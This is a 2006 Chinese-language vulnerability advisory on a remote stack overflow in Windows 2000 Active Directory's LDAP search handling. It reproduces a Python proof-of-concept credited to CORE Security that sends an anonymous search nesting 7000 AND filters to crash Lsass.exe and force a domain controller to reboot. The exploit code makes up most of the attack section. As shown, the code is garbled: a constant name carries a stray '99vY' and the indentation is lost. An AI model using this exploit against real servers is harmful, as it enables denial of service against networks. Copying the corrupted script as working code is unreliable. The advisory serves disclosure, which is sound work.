Microsoft Windows 活动目录远程堆栈溢出缺陷

来源：作者：出处：巧巧读书 2006-10-04 进入讨论组

讨论组：http://group.qqread.com

涉及程序：
Win2k Active Directory

描述：
Microsoft Windows 活动目录远程堆栈溢出缺陷

详细：

Windows Active Directory(活动目录)是Windows 2000结构的重要组件，是Microsoft提供的强大的目录服务系统。

Windows活动目录的LDAP 3搜索请求功能对用户提交请求缺少正确缓冲区边界检查，远程攻击者可利用此缺陷使Lsass.exe服务崩溃，触发缓冲区溢出。

通过活动目录提供的目录服务基于LDAP协议和并使用协议存储和获得Active目录对象。活动目录中使用LDAP 3的'search request'请求功能存在问题，攻击者如果构建超过1000个"AND"的请求，并发送给服务器，可导致触发堆栈溢出，使Lsass.exe服务崩溃，系统会在30秒内重新启动。

攻击方法：
CORE Security Technologies Advisories （advisories@coresecurity.com）提供了如下测试方法：

下面是一段Python测试脚本：

------------------------------------
class ActiveDirectoryDOS( Ldap ):

def __init__(self):
self._s = None
self.host = '192.168.0.1'
self.basedn = 'dc=bugweek,dc=corelabs,dc=core-sdi,dc=com'
self.port = 389
self.buffer = ''
self.msg_id = 1
Ldap.__init__()

def generateFilter_BinaryOp( self, filter ):
filterBuffer = asn1.OCTETSTRING(filter[1]).encode() + asn1.OCTETSTRING(filter[2]).encode()
filterBuffer = self.encapsulateHeader( filter[0], filterBuffer )
return filterBuffer

def generateFilter_RecursiveBinaryOp( self, filter, numTimes):
simpleBinOp = self.generateFilter_BinaryOp( filter )
filterBuffer = simpleBinOp
for cnt in range( 0, numTimes ):
filterBuffer = self.encapsulateHeader( self.LDAP_FILTER_AND, filterBuffer + simpleBinOp )
return filterBuffer

def searchSub( self, filterBuffer ):

self.bindRequest()
self.searchRequest( filterBuffer )

def run(self, host = '', basedn = '', name = '' ):

# the machine must not exist
machine_name = 'xaxax'

filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUAL99vY,'name',machine_name)

# execute the anonymous query
print 'executing query'
filterBuffer = self.generateFilter_RecursiveBinaryOp( filterComputerNotInDir, 7000 )
self.searchSub( filterBuffer )